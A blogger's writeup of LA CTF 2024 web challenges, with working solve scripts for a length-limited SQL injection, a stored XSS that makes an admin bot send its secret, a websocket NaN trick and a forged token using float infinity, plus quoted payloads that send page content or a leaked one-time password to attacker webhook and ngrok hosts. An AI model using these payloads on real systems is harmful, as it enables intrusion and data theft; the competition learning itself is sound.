Post

LA CTF 2024

A little warmup after Lunar New Year. Here is my writeup for the web challenges that I solved in LA CTF 2024

Web

My team solved 7 out of 10 web challenges in the event. I was able to solve 4 challenges (la housing portal, new-housing-portal, pogn, jason-web-token)

la housing portal

These are the 2 most noticable functions of the challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
@app.route("/submit", methods=["POST"])
def search_roommates():
    data = request.form.copy()

    if len(data) > 6:
        return "Invalid form data", 422
    
    
    for k, v in list(data.items()):
        if v == 'na':
            data.pop(k)
        if (len(k) > 10 or len(v) > 50) and k != "name":
            return "Invalid form data", 422
        if "--" in k or "--" in v or "/*" in k or "/*" in v:
            return render_template("hacker.html")
        
    name = data.pop("name")

    
    roommates = get_matching_roommates(data)
    return render_template("results.html", users = roommates, name=name)
    

def get_matching_roommates(prefs: dict[str, str]):
    if len(prefs) == 0:
        return []
    query = """
    select * from users where {} LIMIT 25;
    """.format(
        " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
    )
    print(query)
    conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True)
    cursor = conn.cursor()
    cursor.execute(query)
    r = cursor.fetchall()
    cursor.close()
    return r

We can see that there is a possible SQL injection in the function get_matching_roomates.

In order to get to that function, we need to go through the /submit route, and inside there is a filter. This filter block comments such as -- and /**/ so we can’t do something like OR 1=1 --.

The filter also check if the key and value that we provide are not longer than 10 and 50 characters respectively, and we can’t use the key name to inject because it will be remove.

So I try to craft a SQLi with <= 50 characters.

After some trials and errors, I came up with the following payload:

1
{"1": "' UNION SELECT 1,flag,1,1,1,1 FROM flag WHERE ''='"}

The length of v is exactly 50 characters!

When injected, the sql query will become the following: select * from users where 1='' UNION SELECT 1,flag,1,1,1,1 FROM flag WHERE ''='' LIMIT 25; and will return the flag!

Solve script

1
2
3
4
5
6
import requests

sess = requests.Session()
url = "https://la-housing.chall.lac.tf"
res = sess.post(url + "/submit", data={"name": "12", "1": "' UNION SELECT 1,flag,1,1,1,1 FROM flag WHERE ''='"})
print(res.text)

Flag: lactf{us3_s4n1t1z3d_1npu7!!!}

new-housing-portal

Looking at the code we can see that there’s a possible XSS at the /finder endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const $ = q => document.querySelector(q);

$('.search input[name=username]').addEventListener('keydown', (e) => {
  if (e.key === 'Enter') {
    location.search = '?q=' + encodeURIComponent(e.target.value);
  }
});

const params = new URLSearchParams(location.search);
const query = params.get('q');
if (query) {
  (async () => {
    const user = await fetch('/user?q=' + encodeURIComponent(query))
      .then(r => r.json());
    if ('err' in user) {
      $('.err').innerHTML = user.err;
      $('.err').classList.remove('hidden');
      return;
    }
    $('.user input[name=username]').value = user.username;
    $('span.name').innerHTML = user.name;
    $('span.username').innerHTML = user.username;
    $('.user').classList.remove('hidden');
  })();
}

We can see that XSS can be caused through 2 variables user.name and user.username

We can inject malicious payload into the varibles using the register function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
app.post('/register', (req, res) => {
  const username = req.body.username?.trim();
  const password = req.body.password?.trim();
  const name = req.body.name?.trim();
  const deepestDarkestSecret = req.body.deepestDarkestSecret?.trim();

  if (users.has(username)) {
    res.redirect('/login/?err=' + encodeURIComponent('username already exists'));
    return;
  }
  
  const user = {
    username,
    name,
    password,
    deepestDarkestSecret: 'todo',
    invitations: [],
    registration: Date.now()
  };

  users.set(username, user);
  res
    .cookie('auth', username, { signed: true, httpOnly: true })
    .redirect('/');
});

For convenience, I will use the property name as injection point, let’s try a simple alert(1) payload <img src=x onerror=alert(1) />

Registering with payload

After that, use the finder endpoint to search for the username of the created account.

XSS achieved

Done! now since the httpOnly flag is set on the admin cookie. We can’t steal it through XSS, so we gonna find another way to get the flag.

But where’s the flag? It’s stored inside the deepestDarkestSecret property of the user samy, which is our admin bot user.

And where can we see the deepestDarkestSecret of a user? It’s in /request endpoint!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const $ = q => document.querySelector(q);
const $all = q => document.querySelectorAll(q);

(async () => {
  const { invitations } = await fetch('/invitation').then(r => r.json());
  $('.invitations').innerHTML = invitations.map((inv) => `
    <div class="invitation">
      <div class="col">
        <div class="from">From: ${inv.from}</div>
        <div class="secret">Deepest Darkest Secret: ${inv.deepestDarkestSecret}</div>
      </div>
      <div class="col">
        <button>Accept</button>
      </div>
    </div>
  `).join('\n');

  $all('button').forEach((button) => {
    button.addEventListener('click', () => {
      alert('Sorry! The System is under load, cannot accept invite!');
    })
  });
})();

In order to view a user’s deepestDarkestSecret. That user has to send us an invitation. An invitation can be send with the following api:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.post('/finder', needsLogin, (req, res) => {
  const username = req.body.username?.trim();

  if (!users.has(username)) {
    res.redirect('/finder?err=' + encodeURIComponent('username does not exist'));
    return;
  }

  users.get(username).invitations.push({
    from: res.locals.user.username,
    deepestDarkestSecret: res.locals.user.deepestDarkestSecret
  });

  res.redirect('/finder?msg=' + encodeURIComponent('invitation sent!'));
});

So, in order to view the deepestDarkestSecret of samy. We need samy to send us an invitation.

Since we already got XSS, we can modify it to send a POST request to the /finder endpoint to send an invitation to the attacker.

Create a new user Dat4Phit with name equal the following payload:

1
<img src=x onerror=fetch("https://new-housing-portal.chall.lac.tf/finder",{method:"POST",mode:"no-cors",cache:"no-cache",credentials:"same-origin",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"username=Dat4Phit"}) />

After that send the following link to the admin bot: https://new-housing-portal.chall.lac.tf/finder/?q=Dat4Phit.

Log into the account Dat4Phit and check the invitation tab.

flag

Flag: lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}

pogn

This time, a websocket pong game.

website

After inspecting the source code, we can see how the server and client communicate with each other.

server -> client: [ball position, bot position]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (ball[0] < 0) {
  ws.send(JSON.stringify([
    Msg.GAME_END,
    'oh no you have lost, have you considered getting better'
  ]));
  clearInterval(interval);

// game still happening
} else if (ball[0] < 100) {
  ws.send(JSON.stringify([
    Msg.GAME_UPDATE,
    [ball, me]
  ]));

// user wins
} else {
  ws.send(JSON.stringify([
    Msg.GAME_END,
    'omg u won, i guess you considered getting better ' +
    'here is a flag: ' + flag,
    [ball, me]
  ]));
  clearInterval(interval);
}

client -> server: [player position, player velocity]

1
2
3
4
5
6
7
8
9
10
11
ws.on('message', (data) => {
    try {
      const msg = JSON.parse(data);
      if (msg[0] === Msg.CLIENT_UPDATE) {
        const [ paddle, paddleV ] = msg[1];
        if (!isNumArray(paddle) || !isNumArray(paddleV)) return;
        op = [clamp(paddle[0], 0, 50), paddle[1]];
        opV = mul(normalize(paddleV), 2);
      }
    } catch (e) {}
  });

If we pay attention closely, the normalize function doesn`t check if the value passed in is zero or not.

1
2
const norm = ([x, y]) => Math.sqrt(x ** 2 + y ** 2);
const normalize = (v) => mul(v, 1 / norm(v));

And we know that, weird stuffs will happend if we divide by zero lol, the result will mostly likely be NaN and the ball position will be NaN too. And it will pass the check and return the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from websocket import create_connection

ws_server = "ws://pogn.chall.lac.tf/ws"

ws = create_connection(ws_server)
resp = [50, 0]
while resp[0] >= 0:
  raw = ws.recv()
  if "flag" in raw or "lost" in raw:
    print(raw)
    break
  resp = eval(raw)[1][0]
  ws.send(f"[1,[[{resp[0]},{resp[1]}],[0,0]]]")
  print(resp)

ws.close()

Flag: lactf{7_supp0s3_y0u_g0t_b3773r_NaNaNaN}

jason-web-token

This challenge took me the most time to solve because I thought that python can store infinitely many digit for a number 😭. I guess I learnt my lesson after this challenge.

The challenge source code is relative short, with these 2 functions as it meat and potatoes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def create_token(**userinfo):
    userinfo["timestamp"] = int(time.time())
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
    data = json.dumps(userinfo)
    return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")


def decode_token(token):
    if not token:
        return None, "invalid token: please log in"

    datahex, signature = token.split(".")
    data = bytes.fromhex(datahex).decode()
    userinfo = json.loads(data)
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]

    if hash_(f"{data}:{salted_secret}") != signature:
        return None, "invalid token: signature did not match data"
    return userinfo, None

In order to get the flag, we have to construct a token so that the user role is admin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@app.post("/login")
def login(login: LoginForm, resp: Response):
    age = login.age
    username = login.username

    if age < 10:
        resp.status_code = 400
        return {"msg": "too young! go enjoy life!"}
    if 18 <= age <= 22:
        resp.status_code = 400
        return {"msg": "too many college hackers, no hacking pls uwu"}

    is_admin = username == auth.admin.username and age == auth.admin.age
    token = auth.create_token(
        username=username,
        age=age,
        role=("admin" if is_admin else "user")
    )

    resp.set_cookie("token", token)
    resp.status_code = 200
    return {"msg": "login successful"}


@app.get("/img")
def img(resp: Response, token: str | None = Cookie(default=None)):
    userinfo, err = auth.decode_token(token)
    if err:
        resp.status_code = 400
        return {"err": err}
    if userinfo["role"] == "admin":
        return {"msg": f"Your flag is {flag}", "img": "/static/bplet.png"}
    return {"msg": "Enjoy this jason for your web token", "img": "/static/aplet.png"}

There are only 2 parameter we have control over, it’s username and age, after using the login endpoint, the server will return the token in the form of <hexdata>.<signature> the signature is calculated by SHA256(data:salted_secret). The salted_secret is a number generated from a 128-bit secret.

At first, I thought this was a crypto challenge and tried to find a way to craft a hash using the length extension attack but it lead nowhere.

So after a long time analyze the code over and over again, I wonder to myself what if age is extremely large and python couldn’t process it?

And I decided to test locally, and to my suprise, something interesting is printed.

1
2
3
4
5
6
import json
secret = 1231233 # UNKNOWN

userinfo = json.loads('{"username": "data", "age": 10E1000, "role": "admin", "timestamp": 1708246315}')
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
print(salted_secret)

inf

What? it just returned inf. So that means that no matter what the secret is, if we input a really large number, in this case 10E1000, the salted_secret will be inf.

Bingo! now the signature will be the SHA256 hash of the string <data>:inf as long as age is really big. Now we can craft whatever token we want!

Solve script

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import hashlib
sess = requests.Session()
url = 'https://jwt.chall.lac.tf'

data = '{"username": "data", "age": 10E1000, "role": "admin", "timestamp": 1708246315}'
hexdata = data.encode().hex()
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()
sig = hash_(f"{data}:inf")
token = hexdata + "." + sig

res = requests.get(url + "/img", cookies={"token": token})
print(res.text)

Flag: lactf{pr3v3nt3d_th3_d0s_bu7_47_wh3_c0st}

Unsolved challenges

Below are the writeup for the challenges that I have attempted but unable to solve.

I want to reference other people’s writeups here as a note for future uses.

If you’re an author of any of the writeups below, I want to thank you for your insane work!

ctf-wiki

Reference:

So the challenge is based around the property of Lax cookie. According to the documentation. Lax cookies can’t be sent through iframe or img tag. But will be sent if the site navigated the user to the site that the cookie belongs to.

In the challenge, only the user that have not login (have no cookie) can trigger the XSS through the /view endpoint. But in order to get the flag, the admin user have to sent a POST request to /flag with the admin cookie in it.

One way to do it was to let the admin user trigger the XSS through an iframe where the cookie is not sent. And the XSS navigate the admin to the cookie’s origin, in this case ctf-wiki.chall.lac.tf, and the cookie will be sent with the request. After the admin user have navigate to the cookie’s origin, we can change the page content via the XSS payload to send a POST request to /flag to get the flag and exfiltrate it.

XSS payload:

1
2
3
4
5
6
<script>
let w = window.open('{url}/home');
w.document.write(`<form action="/flag" method="POST" id="flag-form"></form>`);
setTimeout(() => w.document.forms['flag-form'].submit(), 500);
setTimeout(() => fetch('{webhook}', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ content: w.document.body.innerHTML })}), 1500);
</script>

Payload on the attacker server to trigger XSS via iframe, the bot will visit this page.

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
    <title>PBR | UCLA</title> 
</head>
<body>
    <iframe src="https://ctf-wiki.chall.lac.tf/view/{xss_id}"></iframe>
</body>
</html>

quickstyle

Reference:

The intended solution was to use a variant of 3-combo to leak a one-time password.

But after reading other people writeup, I found that arkark’s solution was the most simple and easy to understand. The idea was to not let the server regenerate the otp by abusing the disk cache on the client-side.

The flow was go to website (generate otp) -> leak first character via css -> go to about:blank -> use history.back() to use the disk cache (doesn’t generate otp) -> leak second character and so on…

Note: Script executed in about:blank, in this case history.back() is considered to be same origin in the document, so the SOP won’t block navigating back via history object.

Solve script from arkark’s writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const app = require('fastify')({});
const path = require('node:path');

const ATTACKER_BASE_URL =
  'https://<ngrok-id>.ngrok-free.app';

const user = 'username_xxxxx';

app.addHook('onSend', async (res, reply) => {
  reply.header('Access-Control-Allow-Origin', '*');
});

app.register(require('@fastify/static'), {
  root: path.join(__dirname, 'public'),
  prefix: '/'
});

const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

let known = '';
const TARGET_LEN = 80;
const CHARS = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

app.get('/cssi', async (req, reply) => {
  let css = '';
  for (const c of CHARS) {
    css += `
      input[value ^= "${known}${c}"] {
        background: url("${ATTACKER_BASE_URL}/cssi/leak?prefix=${known}${c}");
      }
    `.trim();
  }

  const html = `
    <style>${css}</style>
    <form name="querySelectorAll"></form>
  `.trim();

  return reply.type('html').send(html);
});

app.get('/cssi/leak', async (req, reply) => {
  known = req.query.prefix.trim();
  console.log({ len: known.length, known });
  if (known.length === TARGET_LEN) {
    console.log({ user, otp: known });
    app.close();
  }
  return '';
});

app.get('/cssi/prefix', async (req, reply) => {
  const len = parseInt(req.query.len);
  while (known.length < len) {
    await sleep(10);
  }
  return known;
});

app.listen({ address: '0.0.0.0', port: 8080 }, (err) => {
  if (err) throw err;
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<body>
  <script>
    // const BASE_URL = "http://web:3000";
    const BASE_URL = "https://quickstyle.chall.lac.tf";

    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

    const back = async (win) => {
      while (true) {
        try {
          console.log(win.history);
          win.history.back();
          return;
        } catch {
          await sleep(10);
        }
      }
    };

    const TARGET_LEN = 80;

    const main = async () => {
      const user = "username_xxxxx";
      const page = `${location.origin}/cssi`;
      const win = open(`${BASE_URL}/?${new URLSearchParams({ user, page })}`);

      for (let len = 1; len < TARGET_LEN; len++) {
        await fetch(`/cssi/prefix?len=${len}`);
        win.location = `about:blank`;
        await back(win);
      }
    };
    main();
  </script>
</body>

I used ngrok to expose the port and replaced the url in the server code. After that I started the server and sent the ngrok url to the bot.

But I was only able to leak about ~73 characters of the otp and then it stop.

Stopped leaking

After check the bot code in the challenge archive, I saw that the bot has a 60-second timeout so that mean that I didn’t leak the otp fast enough. This may be caused by ngrok or my machine/bot not being fast enough? I tried a couple more time and the most characters I was able to leak was 75.

Despite not being able to solved it fully, I have learnt alot about css injection and chrome’s caching policy. It was a great challenge!

biscuit-of-totality

Reference:

my poor git

Reference: https://seall.dev/posts/lactf2024#miscmy-poor-git-72-solves

my smart git

Reference: https://github.com/uclaacm/lactf-archive/blob/main/2024/misc/my-smart-git/sol.py

This post is licensed under CC BY 4.0 by the author.